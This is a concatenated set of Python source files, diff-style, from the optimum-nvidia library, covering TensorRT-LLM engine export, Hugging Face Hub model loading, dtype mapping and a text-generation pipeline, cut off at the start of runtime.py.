+            model.save_checkpoint(str(self._workspace.checkpoints_path))
+        self.save_license()
+        return TensorRTArtifact.checkpoints(str(self._workspace.checkpoints_path))
+
+    def build(self, models: Union['PretrainedModel', Sequence['PretrainedModel']], config: 'BuildConfig') -> TensorRTArtifact:
+        if not isinstance(models, Sequence):
+            models = [models]
+        config = infer_plugin_from_build_config(config)
+        for model in models:
+            LOGGER.info(f'Building TRTLLM engine for rank {model.config.mapping.rank} ->> {config.to_dict()}')
+            engine = build(model, config)
+            engine.save(str(self._workspace.engines_path))
+        self.save_license()
+        return TensorRTArtifact.engines(str(self._workspace.engines_path))
+
+# File: optimum-nvidia-main/src/optimum/nvidia/export/workspace.py
+from dataclasses import dataclass
+from pathlib import Path
+from typing import Iterable, Optional
+from huggingface_hub import cached_assets_path
+from tensorrt_llm import __version__ as TRTLLM_VERSION
+from optimum.nvidia import LIBRARY_NAME
+from optimum.nvidia.export import PATH_FILE_CHECKPOINTS, PATH_FILE_ENGINES, PATH_FOLDER_CHECKPOINTS, PATH_FOLDER_ENGINES
+
+@dataclass
+class Workspace:
+    root: Path
+
+    @staticmethod
+    def from_hub_cache(model_id: str, device: str, namespace: str=LIBRARY_NAME, version: str=TRTLLM_VERSION, subpart: Optional[str]=None) -> 'Workspace':
+        assets_path = cached_assets_path(namespace, namespace=version, subfolder=model_id)
+        assets_path = assets_path.joinpath(device)
+        if subpart:
+            assets_path = assets_path.joinpath(subpart)
+        assets_path.mkdir(exist_ok=True, parents=True)
+        return Workspace(assets_path)
+
+    def __post_init__(self):
+        if not self.checkpoints_path.exists():
+            self.checkpoints_path.mkdir(parents=True)
+        if not self.engines_path.exists():
+            self.engines_path.mkdir(parents=True)
+
+    @property
+    def checkpoints_path(self) -> Path:
+        return self.root / PATH_FOLDER_CHECKPOINTS
+
+    @property
+    def engines_path(self) -> Path:
+        return self.root / PATH_FOLDER_ENGINES
+
+    @property
+    def checkpoints(self) -> Iterable[Path]:
+        return self.checkpoints_path.glob(PATH_FILE_CHECKPOINTS)
+
+    def engines(self) -> Iterable[Path]:
+        return self.engines_path.glob(PATH_FILE_ENGINES)
+
+# File: optimum-nvidia-main/src/optimum/nvidia/generation/logits_process.py
+import torch
+from transformers import ForceTokensLogitsProcessor, SuppressTokensAtBeginLogitsProcessor, SuppressTokensLogitsProcessor
+from transformers.generation.logits_process import WhisperNoSpeechDetection
+
+class TrtSuppressTokensLogitsProcessor(SuppressTokensLogitsProcessor):
+
+    def __call__(self, step: int, input_ids: torch.Tensor, scores: torch.Tensor):
+        scores = super().__call__(input_ids, scores)
+        return scores
+
+class TrtSuppressTokensAtBeginLogitsProcessor(SuppressTokensAtBeginLogitsProcessor):
+
+    def __call__(self, step: int, input_ids: torch.Tensor, scores: torch.Tensor):
+        scores = super().__call__(input_ids, scores)
+        return scores
+
+class TrtForceTokensLogitsProcessor(ForceTokensLogitsProcessor):
+
+    def __call__(self, step: int, input_ids: torch.Tensor, scores: torch.Tensor):
+        scores = super().__call__(input_ids, scores)
+        return scores
+
+class TrtWhisperNoSpeechDetection(WhisperNoSpeechDetection):
+
+    def __call__(self, step: int, input_ids: torch.Tensor, scores: torch.Tensor):
+        scores = super().__call__(input_ids, scores)
+        return scores
+LOGITS_PROCESSOR_MAP = {SuppressTokensLogitsProcessor: TrtSuppressTokensLogitsProcessor, SuppressTokensAtBeginLogitsProcessor: TrtSuppressTokensAtBeginLogitsProcessor, ForceTokensLogitsProcessor: TrtForceTokensLogitsProcessor, WhisperNoSpeechDetection: TrtWhisperNoSpeechDetection}
+
+# File: optimum-nvidia-main/src/optimum/nvidia/hub.py
+import re
+from abc import ABCMeta, abstractmethod
+from logging import getLogger
+from os import PathLike, scandir, symlink
+from pathlib import Path
+from shutil import copyfile, copytree
+from typing import Dict, Generator, Iterable, List, Mapping, Optional, Type, Union
+import torch.cuda
+from huggingface_hub import ModelHubMixin, snapshot_download
+from huggingface_hub.hub_mixin import T
+from tensorrt_llm import __version__ as trtllm_version
+from tensorrt_llm.models import PretrainedConfig
+from tensorrt_llm.models import PretrainedModel as TrtLlmPreTrainedModel
+from transformers import AutoConfig, GenerationConfig
+from transformers import PretrainedConfig as TransformersPretraineConfig
+from transformers.utils import CONFIG_NAME, GENERATION_CONFIG_NAME, SAFE_WEIGHTS_INDEX_NAME
+from optimum.nvidia import LIBRARY_NAME
+from optimum.nvidia.compression.modelopt import ModelOptRecipe
+from optimum.nvidia.export import PATH_FOLDER_ENGINES, ExportConfig, TensorRTModelConverter, Workspace, auto_parallel
+from optimum.nvidia.lang import DataType
+from optimum.nvidia.models import SupportsFromHuggingFace, SupportsTransformersConversion
+from optimum.nvidia.models.base import SupportFromTrtLlmCheckpoint
+from optimum.nvidia.utils import get_user_agent
+from optimum.nvidia.utils.nvml import get_device_count, get_device_name
+from optimum.utils import NormalizedConfig
+ATTR_TRTLLM_ENGINE_FOLDER = '__trtllm_engine_folder__'
+FILE_TRTLLM_ENGINE_PATTERN = 'rank[0-9]*.engine'
+FILE_TRTLLM_CHECKPOINT_PATTERN = 'rank[0-9]*.engine'
+FILE_LICENSE_NAME = 'LICENSE'
+HUB_SNAPSHOT_ALLOW_PATTERNS = [CONFIG_NAME, GENERATION_CONFIG_NAME, SAFE_WEIGHTS_INDEX_NAME, '*.safetensors', FILE_LICENSE_NAME]
+LOGGER = getLogger()
+
+def folder_list_engines(folder: Path) -> Iterable[Path]:
+    if folder.exists():
+        return list(folder.glob('*.engine'))
+    return []
+
+def folder_list_checkpoints(folder: Path) -> Iterable[Path]:
+    checkpoint_candidates = []
+    if folder.exists():
+        re_checkpoint_filename = re.compile('rank[0-9]+\\.safetensors')
+        checkpoint_candidates = list(map(Path, filter(lambda item: re_checkpoint_filename.match(item.name), scandir(folder))))
+    return checkpoint_candidates
+
+def get_rank_from_filename(filename: str) -> int:
+    name = filename.split('.')[0]
+    if name.startswith('rank'):
+        return int(name[3:])
+    else:
+        raise ValueError(f'Unknown filename format {filename} to extract rank from')
+
+def get_trtllm_artifact(model_id: str, patterns: List[str], add_default_allow_patterns: bool=True) -> Path:
+    if (local_path := Path(model_id)).exists():
+        return local_path
+    return Path(snapshot_download(repo_id=model_id, repo_type='model', library_name=LIBRARY_NAME, library_version=trtllm_version, user_agent=get_user_agent(), allow_patterns=patterns + HUB_SNAPSHOT_ALLOW_PATTERNS if add_default_allow_patterns else patterns))
+
+def get_trtllm_checkpoints(model_id: str, device: str, dtype: str):
+    if (workspace := Workspace.from_hub_cache(model_id, device)).checkpoints_path.exists():
+        return workspace.checkpoints_path
+    return get_trtllm_artifact(model_id, [f'{device}/{dtype}/**/*.safetensors'])
+
+def get_trtllm_engines(model_id: str, device: str, dtype: str):
+    if (workspace := Workspace.from_hub_cache(model_id, device)).engines_path.exists():
+        return workspace.engines_path
+    return get_trtllm_artifact(model_id, [f'{device}/{dtype}/**/{PATH_FOLDER_ENGINES}/*.engine'])
+
+def from_ranked_checkpoints(checkpoints_folder: Path, target_class: Type[SupportFromTrtLlmCheckpoint]) -> Generator['TrtLlmPreTrainedModel', None, None]:
+    root = str(checkpoints_folder)
+    trtllm_config = PretrainedConfig.from_checkpoint(root)
+    for rank in range(trtllm_config.mapping.world_size):
+        yield target_class.from_checkpoint(root, rank, trtllm_config)
+
+def from_ranked_hf_model(local_hf_model_path: Path, config: 'TransformersPretraineConfig', target_class: Type['TrtLlmPreTrainedModel'], export_config: 'ExportConfig'):
+    root = str(local_hf_model_path)
+    for rank in range(export_config.sharding.world_size):
+        export_config.sharding.rank = rank
+        ranked_model = target_class.from_hugging_face(root, dtype=DataType.from_torch(config.torch_dtype).value, mapping=export_config.sharding, load_by_shard=True, use_parallel_embedding=export_config.sharding.world_size > 1, share_embedding_table=config.tie_word_embeddings)
+        ranked_model.config.mapping.rank = rank
+        yield ranked_model
+
+class HuggingFaceHubModel(ModelHubMixin, library_name=LIBRARY_NAME, languages=['python', 'c++'], tags=['optimum-nvidia', 'trtllm'], repo_url='https://github.com/huggingface/optimum-nvidia', docs_url='https://huggingface.co/docs/optimum/nvidia_overview', metaclass=ABCMeta):
+
+    def __init__(self, engines_path: Union[str, PathLike, Path]):
+        self._engines_path = Path(engines_path)
+
+    @classmethod
+    def _from_pretrained(cls: Type[T], *, model_id: str, config: Dict, revision: Optional[str], cache_dir: Optional[Union[str, Path]], force_download: bool, proxies: Optional[Dict], resume_download: bool, local_files_only: bool, token: Optional[Union[str, bool]], use_cuda_graph: bool=False, device_map: Optional[str]=None, export_config: Optional[ExportConfig]=None, quantization_config: Optional[ModelOptRecipe]=None, force_export: bool=False, export_only: bool=False, save_intermediate_checkpoints: bool=False) -> T:
+        if get_device_count() < 1:
+            raise ValueError('No GPU detected on this platform')
+        device_name = get_device_name(0)[-1]
+        if 'torch_dtype' in config:
+            dtype = config['torch_dtype']
+        elif 'pretrained_config' in config and 'dtype' in config['pretrained_config']:
+            dtype = config['pretrained_config']['dtype']
+        else:
+            raise RuntimeError("Failed to detect model's dtype")
+        local_model_id = Path(model_id)
+        engines_folder = checkpoints_folder = None
+        engine_files = checkpoint_files = []
+        if local_model_id.exists() and local_model_id.is_dir():
+            if any((engine_files := list(folder_list_engines(local_model_id)))):
+                engines_folder = engine_files[0].parent
+                checkpoints_folder = None
+            else:
+                checkpoint_files = list(folder_list_checkpoints(local_model_id))
+                if checkpoint_files:
+                    checkpoints_folder = checkpoint_files[0].parent
+        else:
+            if not force_export:
+                LOGGER.debug(f'Retrieving prebuild engine(s) for device {device_name}')
+                engines_folder = get_trtllm_engines(model_id, device_name, dtype)
+                engine_files = folder_list_engines(engines_folder)
+            if not engine_files:
+                LOGGER.debug(f'Retrieving checkpoint(s) for {device_name}')
+                checkpoints_folder = get_trtllm_checkpoints(model_id, device_name, dtype)
+                checkpoint_files = folder_list_checkpoints(checkpoints_folder)
+        if not engine_files:
+            LOGGER.info(f'No prebuild engines nor checkpoint were found for {model_id}')
+            if local_model_id.is_dir():
+                LOGGER.debug(f'Retrieving model from local folder: {local_model_id}')
+                original_checkpoints_path_for_conversion = local_model_id
+                workspace = Workspace(local_model_id)
+            else:
+                LOGGER.debug(f'Retrieving model from snapshot {model_id} on the Hugging Face Hub')
+                original_checkpoints_path_for_conversion = snapshot_download(model_id, repo_type='model', revision=revision, cache_dir=cache_dir, force_download=force_download, proxies=proxies, resume_download=resume_download, local_files_only=local_files_only, token=token, allow_patterns=HUB_SNAPSHOT_ALLOW_PATTERNS)
+                workspace = None
+            config = NormalizedConfig(AutoConfig.for_model(**config))
+            generation_config = GenerationConfig.from_pretrained(original_checkpoints_path_for_conversion)
+            if FILE_LICENSE_NAME in original_checkpoints_path_for_conversion:
+                licence_path = original_checkpoints_path_for_conversion.joinpath(FILE_LICENSE_NAME)
+            else:
+                licence_path = None
+            export_config = export_config or ExportConfig.from_config(config)
+            if device_map and device_map == 'auto':
+                LOGGER.info('Auto-parallel we will be used')
+                export_config = auto_parallel(export_config)
+            if isinstance(cls, SupportsTransformersConversion):
+                targets = cls.TRT_LLM_TARGET_MODEL_CLASSES
+                if not isinstance(targets, Mapping):
+                    targets = {'': targets}
+                for (idx, (subpart, clazz)) in enumerate(targets.items()):
+                    LOGGER.info(f'Building {model_id} {subpart} ({idx + 1} / {len(targets)})')
+                    converter = TensorRTModelConverter(model_id, subpart, workspace, licence_path)
+                    if quantization_config:
+                        hf_model = cls.HF_LIBRARY_TARGET_MODEL_CLASS.from_pretrained(original_checkpoints_path_for_conversion, torch_dtype='auto', device_map='auto')
+                        checkpoints_folder = converter.quantize(hf_model, quantization_config)
+                        checkpoints_folder = checkpoints_folder.root
+                        checkpoint_files = folder_list_checkpoints(checkpoints_folder)
+                        del hf_model
+                        torch.cuda.empty_cache()
+                    if force_export or not len(list(converter.workspace.engines_path.glob('*.engine'))):
+                        if checkpoint_files and isinstance(clazz, SupportFromTrtLlmCheckpoint):
+                            ranked_models = from_ranked_checkpoints(checkpoints_folder, clazz)
+                        elif isinstance(clazz, SupportsFromHuggingFace):
+                            ranked_models = from_ranked_hf_model(original_checkpoints_path_for_conversion, config, clazz, export_config)
+                        else:
+                            raise TypeError(f"{clazz} can't convert from HF checkpoint")
+                        generation_config = GenerationConfig.from_pretrained(original_checkpoints_path_for_conversion)
+                        for ranked_model in ranked_models:
+                            if save_intermediate_checkpoints:
+                                _ = converter.convert(ranked_model)
+                                LOGGER.info(f'Saved intermediate checkpoints at {converter.workspace.checkpoints_path}')
+                            build_config = export_config.to_builder_config(ranked_model.config.quantization.quant_mode)
+                            _ = converter.build(ranked_model, build_config)
+                            engines_folder = converter.workspace.engines_path
+                            generation_config.save_pretrained(engines_folder)
+                        LOGGER.info(f'Saved TensorRT-LLM engines at {converter.workspace.engines_path}')
+                    else:
+                        LOGGER.info(f'Found existing engines at {converter.workspace.engines_path}')
+            else:
+                raise ValueError("Model doesn't support Hugging Face transformers conversion, aborting.")
+        else:
+            generation_config = GenerationConfig.from_pretrained(engines_folder)
+        return cls(engines_path=engines_folder, generation_config=generation_config, load_engines=not export_only)
+
+    @abstractmethod
+    def _save_additional_parcels(self, save_directory: Path):
+        raise NotImplementedError()
+
+    def _save_pretrained(self, save_directory: Path) -> None:
+        device_name = get_device_name(0)[-1]
+        save_directory = save_directory.joinpath(device_name)
+        save_directory.mkdir(parents=True, exist_ok=True)
+        src_license_file_path = self._engines_path.parent / FILE_LICENSE_NAME
+        dst_files = [src_license_file_path] if src_license_file_path.exists() else []
+        dst_files += list(self._engines_path.glob('*'))
+        for file in dst_files:
+            try:
+                symlink(file, save_directory.joinpath(file.relative_to(self._engines_path)))
+            except OSError as ose:
+                LOGGER.error(f'Failed to create symlink from current engine folder {self._engines_path.parent} to {save_directory}. Will default to copy based _save_pretrained', exc_info=ose)
+                dst = save_directory.joinpath(file.relative_to(self._engines_path))
+                if file.is_dir():
+                    copytree(file, dst, symlinks=True)
+                elif file:
+                    copyfile(file, dst)
+        self._save_additional_parcels(save_directory)
+
+# File: optimum-nvidia-main/src/optimum/nvidia/lang/__init__.py
+from enum import Enum
+from typing import List
+import torch
+
+class DataType(str, Enum):
+    FLOAT32 = 'float32'
+    FLOAT16 = 'float16'
+    BFLOAT16 = 'bfloat16'
+    FLOAT8 = 'float8'
+    INT64 = 'int64'
+    INT32 = 'int32'
+    INT8 = 'int8'
+    UINT8 = 'uint8'
+    BOOL = 'bool'
+
+    @staticmethod
+    def from_torch(dtype: torch.dtype) -> 'DataType':
+        if dtype == torch.float32:
+            return DataType.FLOAT32
+        elif dtype == torch.float16:
+            return DataType.FLOAT16
+        elif dtype == torch.bfloat16:
+            return DataType.BFLOAT16
+        elif dtype == torch.float8_e4m3fn:
+            return DataType.FLOAT8
+        elif dtype == torch.int64:
+            return DataType.INT64
+        elif dtype == torch.int32:
+            return DataType.INT32
+        elif dtype == torch.int8:
+            return DataType.INT8
+        elif dtype == torch.uint8:
+            return DataType.UINT8
+        elif dtype == torch.bool:
+            return DataType.BOOL
+        else:
+            raise ValueError(f'Unknown torch.dtype {dtype}')
+
+    def to_trt(self) -> 'DataType':
+        import tensorrt as trt
+        if self == DataType.FLOAT32:
+            return trt.DataType.FLOAT
+        elif self == DataType.FLOAT16:
+            return trt.DataType.HALF
+        elif self == DataType.BFLOAT16:
+            return trt.DataType.BF16
+        elif self == DataType.FLOAT8:
+            return trt.DataType.FP8
+        elif self == DataType.INT8:
+            return trt.DataType.INT8
+        elif self == DataType.UINT8:
+            return trt.DataType.UINT8
+        elif self == DataType.INT32:
+            return trt.DataType.INT32
+        elif self == DataType.INT64:
+            return trt.DataType.INT64
+        elif self == DataType.BOOL:
+            return trt.DataType.BOOL
+        else:
+            raise ValueError(f'Unknown value {self}')
+
+    def to_torch(self):
+        import torch
+        if self == DataType.FLOAT32:
+            return torch.float32
+        elif self == DataType.FLOAT16:
+            return torch.float16
+        elif self == DataType.BFLOAT16:
+            return torch.bfloat16
+        elif self == DataType.FLOAT8:
+            return torch.float8_e4m3fn
+        elif self == DataType.INT8:
+            return torch.int8
+        elif self == DataType.UINT8:
+            return torch.uint8
+        elif self == DataType.INT32:
+            return torch.int32
+        elif self == DataType.INT64:
+            return torch.int64
+        elif self == DataType.BOOL:
+            return torch.bool
+        else:
+            raise ValueError(f'Unknown value {self}')
+
+    @staticmethod
+    def values() -> List[str]:
+        return [item.value for item in DataType]
+
+# File: optimum-nvidia-main/src/optimum/nvidia/models/auto.py
+from pathlib import Path
+from typing import TYPE_CHECKING, Any, Dict, Optional, Type, Union
+from huggingface_hub import ModelHubMixin
+from optimum.nvidia.errors import UnsupportedModelException
+from optimum.nvidia.models.gemma import GemmaForCausalLM
+from optimum.nvidia.models.llama import LlamaForCausalLM
+from optimum.nvidia.utils import model_type_from_known_config
+if TYPE_CHECKING:
+    from optimum.nvidia.export import ExportConfig
+    from optimum.nvidia.runtime import CausalLM
+
+class AutoModelForCausalLM(ModelHubMixin):
+    """"""
+    _SUPPORTED_MODEL_CLASS = {'llama': LlamaForCausalLM, 'mistral': LlamaForCausalLM, 'mixtral': LlamaForCausalLM, 'gemma': GemmaForCausalLM}
+
+    def __init__(self):
+        super().__init__()
+
+    @classmethod
+    def _from_pretrained(cls: Type, *, model_id: str, revision: Optional[str], cache_dir: Optional[Union[str, Path]], force_download: bool, proxies: Optional[Dict], resume_download: bool, local_files_only: bool, token: Optional[Union[str, bool]], config: Optional[Dict[str, Any]]=None, export_config: Optional['ExportConfig']=None, force_export: bool=False, use_cuda_graph: bool=False, **model_kwargs) -> 'CausalLM':
+        if config is None:
+            raise ValueError('Unable to determine the model type with config = None')
+        model_type = model_type_from_known_config(config)
+        if not model_type or model_type not in AutoModelForCausalLM._SUPPORTED_MODEL_CLASS:
+            raise UnsupportedModelException(model_type)
+        model_clazz = AutoModelForCausalLM._SUPPORTED_MODEL_CLASS[model_type]
+        model = model_clazz.from_pretrained(pretrained_model_name_or_path=model_id, config=config, revision=revision, cache_dir=cache_dir, force_download=force_download, proxies=proxies, resume_download=resume_download, local_files_only=local_files_only, token=token, export_config=export_config, force_export=force_export, use_cuda_graph=use_cuda_graph, **model_kwargs)
+        return model
+
+# File: optimum-nvidia-main/src/optimum/nvidia/models/base.py
+from os import PathLike
+from typing import TYPE_CHECKING, Mapping, Optional, Protocol, Type, Union, runtime_checkable
+if TYPE_CHECKING:
+    from tensorrt_llm.models import PretrainedConfig
+    from tensorrt_llm.top_model_mixin import TopModelMixin
+    from transformers import PreTrainedModel as TransformersPreTrainedModel
+
+@runtime_checkable
+class SupportsFromHuggingFace(Protocol):
+
+    @classmethod
+    def from_hugging_face(cls, hf_model_dir: Union[str, bytes, PathLike], dtype: str='float16', mapping: Optional[Mapping]=None, **kwargs):
+        ...
+
+@runtime_checkable
+class SupportFromTrtLlmCheckpoint(Protocol):
+
+    @classmethod
+    def from_checkpoint(cls, ckpt_dir: str, rank: Optional[int]=None, config: Optional['PretrainedConfig']=None):
+        ...
+
+@runtime_checkable
+class SupportsTransformersConversion(Protocol):
+    HF_LIBRARY_TARGET_MODEL_CLASS: Type['TransformersPreTrainedModel']
+    TRT_LLM_TARGET_MODEL_CLASSES: Union[Type['TopModelMixin'], Mapping[str, Type['TopModelMixin']]]
+
+# File: optimum-nvidia-main/src/optimum/nvidia/models/gemma.py
+from logging import getLogger
+from tensorrt_llm.models.gemma.model import GemmaForCausalLM as TrtGemmaForCausalLM
+from transformers import GemmaForCausalLM as TransformersGemmaForCausalLM
+from optimum.nvidia.hub import HuggingFaceHubModel
+from optimum.nvidia.models import SupportsTransformersConversion
+from optimum.nvidia.runtime import CausalLM
+LOGGER = getLogger(__name__)
+
+class GemmaForCausalLM(CausalLM, HuggingFaceHubModel, SupportsTransformersConversion):
+    HF_LIBRARY_TARGET_MODEL_CLASS = TransformersGemmaForCausalLM
+    TRT_LLM_TARGET_MODEL_CLASSES = TrtGemmaForCausalLM
+    TRT_LLM_MANDATORY_CONVERSION_PARAMS = {'share_embedding_table': True}
+
+# File: optimum-nvidia-main/src/optimum/nvidia/models/mistral.py
+from logging import getLogger
+from tensorrt_llm.models.llama.model import LLaMAForCausalLM
+from transformers import MistralForCausalLM as TransformersMistralForCausalLM
+from optimum.nvidia.hub import HuggingFaceHubModel
+from optimum.nvidia.models import SupportsTransformersConversion
+from optimum.nvidia.runtime import CausalLM
+LOGGER = getLogger(__name__)
+
+class MistralForCausalLM(CausalLM, HuggingFaceHubModel, SupportsTransformersConversion):
+    HF_LIBRARY_TARGET_MODEL_CLASS = TransformersMistralForCausalLM
+    TRT_LLM_TARGET_MODEL_CLASSES = LLaMAForCausalLM
+
+# File: optimum-nvidia-main/src/optimum/nvidia/models/mixtral.py
+from logging import getLogger
+from tensorrt_llm.models.llama.model import LLaMAForCausalLM
+from transformers import MixtralForCausalLM as TransformersMixtralForCausalLM
+from optimum.nvidia.hub import HuggingFaceHubModel
+from optimum.nvidia.models import SupportsTransformersConversion
+from optimum.nvidia.runtime import CausalLM
+LOGGER = getLogger(__name__)
+
+class MixtralForCausalLM(CausalLM, HuggingFaceHubModel, SupportsTransformersConversion):
+    HF_LIBRARY_TARGET_MODEL_CLASS = TransformersMixtralForCausalLM
+    TRT_LLM_TARGET_MODEL_CLASSES = LLaMAForCausalLM
+
+# File: optimum-nvidia-main/src/optimum/nvidia/models/whisper.py
+from logging import getLogger
+from typing import TYPE_CHECKING
+from tensorrt_llm.models import DecoderModel as TrtDecoderModel
+from tensorrt_llm.models import WhisperEncoder as TrtWhisperEncoder
+from transformers.models.whisper.modeling_whisper import WhisperForConditionalGeneration as TransformersWhisperForConditionalGeneration
+from optimum.nvidia.models import SupportsTransformersConversion
+if TYPE_CHECKING:
+    pass
+LOGGER = getLogger(__name__)
+
+class WhisperForConditionalGeneration(SupportsTransformersConversion):
+    HF_LIBRARY_TARGET_MODEL_CLASS = TransformersWhisperForConditionalGeneration
+    TRT_LLM_TARGET_MODEL_CLASSES = {'encoder': TrtWhisperEncoder, 'decoder': TrtDecoderModel}
+
+# File: optimum-nvidia-main/src/optimum/nvidia/pipelines/__init__.py
+from os import PathLike
+from typing import Dict, Optional, Tuple, Type, Union
+from huggingface_hub import model_info
+from tensorrt_llm import Module
+from transformers import AutoTokenizer, PreTrainedTokenizer, PreTrainedTokenizerFast
+from optimum.nvidia import AutoModelForCausalLM
+from optimum.nvidia.pipelines.text_generation import TextGenerationPipeline
+from .base import Pipeline
+SUPPORTED_MODEL_WITH_TASKS: Dict[str, Dict[str, Tuple[Type[Pipeline], Type]]] = {'gemma': {'text-generation': (TextGenerationPipeline, AutoModelForCausalLM)}, 'llama': {'text-generation': (TextGenerationPipeline, AutoModelForCausalLM)}, 'mistral': {'text-generation': (TextGenerationPipeline, AutoModelForCausalLM)}, 'mixtral': {'text-generation': (TextGenerationPipeline, AutoModelForCausalLM)}}
+
+def get_target_class_for_model_and_task(task: str, architecture: str) -> Optional[Type]:
+    task_ = SUPPORTED_MODEL_WITH_TASKS.get(task, None)
+    if not task:
+        raise NotImplementedError(f'Task {task} is not supported yet.')
+    target = task_.get(architecture, None)
+    if not target:
+        raise NotImplementedError(f'Architecture {architecture} is not supported for task {task}. Only the following architectures are: {list(task_.keys())}')
+    return target
+
+def pipeline(task: str=None, model: Union[str, PathLike, Module]=None, tokenizer: Optional[Union[str, PreTrainedTokenizer, PreTrainedTokenizerFast]]=None, **kwargs):
+    try:
+        info = model_info(model)
+    except Exception as e:
+        raise RuntimeError(f'Failed to instantiate the pipeline inferring the task for model {model}: {e}')
+    model_type = info.config.get('model_type', None)
+    if not model_type:
+        raise RuntimeError(f'Failed to infer model type for model {model}')
+    elif model_type not in SUPPORTED_MODEL_WITH_TASKS:
+        raise NotImplementedError(f'Model type {model_type} is not currently supported')
+    if not task and getattr(info, 'library_name', 'transformers') == 'transformers':
+        if not info.pipeline_tag:
+            raise RuntimeError(f'Failed to infer the task for model {model}, please use `task` parameter')
+        task = info.pipeline_tag
+    if task not in SUPPORTED_MODEL_WITH_TASKS[model_type]:
+        raise NotImplementedError(f'Task {task} is not supported yet for {model_type}.')
+    if tokenizer is None:
+        tokenizer = AutoTokenizer.from_pretrained(model, use_fast=True)
+    (pipeline_factory, model_factory) = SUPPORTED_MODEL_WITH_TASKS[model_type][task]
+    model = model_factory.from_pretrained(model, **kwargs)
+    return pipeline_factory(model, tokenizer)
+
+# File: optimum-nvidia-main/src/optimum/nvidia/pipelines/text_generation.py
+import warnings
+from enum import Enum
+from typing import Dict, List, Union
+import torch
+from transformers import PreTrainedTokenizer, TensorType
+from optimum.nvidia import AutoModelForCausalLM
+from optimum.nvidia.runtime import CausalLM
+from .base import Pipeline
+
+class ReturnType(Enum):
+    TENSORS = 0
+    NEW_TEXT = 1
+    FULL_TEXT = 2
+
+class TextGenerationPipeline(Pipeline):
+    TARGET_FACTORY = AutoModelForCausalLM
+    __slots__ = ('tokenizer', '_runtime')
+
+    def __init__(self, model: CausalLM, tokenizer: PreTrainedTokenizer):
+        super().__init__()
+        if tokenizer.eos_token and (not tokenizer.pad_token):
+            tokenizer.pad_token = tokenizer.eos_token
+        self.tokenizer = tokenizer
+        self._runtime = model
+
+    def __call__(self, inputs: Union[str, List[str]], add_special_tokens: bool=True, **kwargs):
+        (preprocess_params, forward_params, postprocess_params) = self._sanitize_parameters(add_special_tokens=add_special_tokens, **kwargs)
+        model_inputs = self.preprocess(inputs, **preprocess_params)
+        model_outputs = self._forward(model_inputs, **forward_params)
+        outputs = self.postprocess(model_outputs, **postprocess_params)
+        return outputs
+
+    def _sanitize_parameters(self, return_full_text=None, return_tensors=None, return_text=None, return_type=None, clean_up_tokenization_spaces=None, prefix=None, handle_long_generation=None, stop_sequence=None, add_special_tokens=False, **generate_kwargs):
+        preprocess_params = {'add_special_tokens': add_special_tokens}
+        if prefix is not None:
+            preprocess_params['prefix'] = prefix
+        if prefix:
+            prefix_inputs = self.tokenizer(prefix, padding=False, add_special_tokens=add_special_tokens, return_tensors=TensorType.PYTORCH)
+            generate_kwargs['prefix_length'] = prefix_inputs['input_ids'].shape[-1]
+        if handle_long_generation is not None:
+            if handle_long_generation not in {'hole'}:
+                raise ValueError(f"{handle_long_generation} is not a valid value for `handle_long_generation` parameter expected [None, 'hole']")
+            preprocess_params['handle_long_generation'] = handle_long_generation
+        preprocess_params.update(generate_kwargs)
+        forward_params = generate_kwargs
+        postprocess_params = {}
+        if return_full_text is not None and return_type is None:
+            if return_text is not None:
+                raise ValueError('`return_text` is mutually exclusive with `return_full_text`')
+            if return_tensors is not None:
+                raise ValueError('`return_full_text` is mutually exclusive with `return_tensors`')
+            return_type = ReturnType.FULL_TEXT if return_full_text else ReturnType.NEW_TEXT
+        if return_tensors is not None and return_type is None:
+            if return_text is not None:
+                raise ValueError('`return_text` is mutually exclusive with `return_tensors`')
+            return_type = ReturnType.TENSORS
+        if return_type is not None:
+            postprocess_params['return_type'] = return_type
+        if clean_up_tokenization_spaces is not None:
+            postprocess_params['clean_up_tokenization_spaces'] = clean_up_tokenization_spaces
+        if stop_sequence is not None:
+            stop_sequence_ids = self.tokenizer.encode(stop_sequence, add_special_tokens=False)
+            if len(stop_sequence_ids) > 1:
+                warnings.warn('Stopping on a multiple token sequence is not yet supported on transformers. The first token of the stop sequence will be used as the stop sequence string in the interim.')
+            generate_kwargs['eos_token_id'] = stop_sequence_ids[0]
+        return (preprocess_params, forward_params, postprocess_params)
+
+    def _forward(self, model_inputs, **generate_kwargs):
+        input_ids = model_inputs['input_ids']
+        prompt_text = model_inputs.pop('prompt_text')
+        attention_mask = model_inputs.get('attention_mask', None)
+        max_new_tokens = generate_kwargs.pop('max_new_tokens', None)
+        min_length = generate_kwargs.pop('min_length', -1)
+        num_beams = generate_kwargs.pop('num_beams', 1)
+        temperature = generate_kwargs.pop('temperature', 1.0)
+        top_k = generate_kwargs.pop('top_k', 50)
+        top_p = generate_kwargs.pop('top_p', 1.0)
+        repetition_penalty = generate_kwargs.pop('repetition_penalty', 1.0)
+        length_penalty = generate_kwargs.pop('length_penalty', 1.0)
+        seed = generate_kwargs.pop('seed', 2017)
+        (generated_sequence, lengths) = self._runtime.generate(input_ids=input_ids, attention_mask=attention_mask, max_new_tokens=max_new_tokens, min_length=min_length, num_beams=num_beams, temperature=temperature, top_k=top_k, top_p=top_p, repetition_penalty=repetition_penalty, length_penalty=length_penalty, seed=seed)
+        return {'generated_sequence': generated_sequence, 'lengths': lengths, 'input_ids': input_ids, 'prompt_text': prompt_text}
+
+    def preprocess(self, prompt_text, prefix='', handle_long_generation=None, add_special_tokens=False, **generate_kwargs) -> Dict[str, torch.Tensor]:
+        if isinstance(prompt_text, List):
+            text = [prefix + prompt for prompt in prompt_text]
+        else:
+            text = prefix + prompt_text
+        inputs = self.tokenizer(text, padding=False, add_special_tokens=add_special_tokens, return_tensors=TensorType.PYTORCH)
+        inputs['prompt_text'] = prompt_text
+        return inputs
+
+    def postprocess(self, model_outputs, return_type=ReturnType.FULL_TEXT, clean_up_tokenization_spaces=True):
+        generated_sequence = model_outputs['generated_sequence']
+        generated_sequence = generated_sequence.cpu().numpy().tolist()
+        records = []
+        if return_type == ReturnType.TENSORS:
+            return [{'generated_token_ids': generated for generated in generated_sequence}]
+        for sequence in generated_sequence:
+            text = self.tokenizer.decode(sequence, skip_special_tokens=True, clean_up_tokenization_spaces=clean_up_tokenization_spaces)
+            record = {'generated_text': text}
+            records.append(record)
+        return records
+
+# File: optimum-nvidia-main/src/optimum/nvidia/runtime.py
+import asyncio
+import json
+import math
+from logging import getLogger
+from os import PathLike
+from pathlib import Path
+from typing import TYPE_CHECKING, Any, Dict, List, Optional, Sequence, Union
+import torch
+from tensorrt_llm.bindings.executor import ExecutorConfig, KvCacheConfig
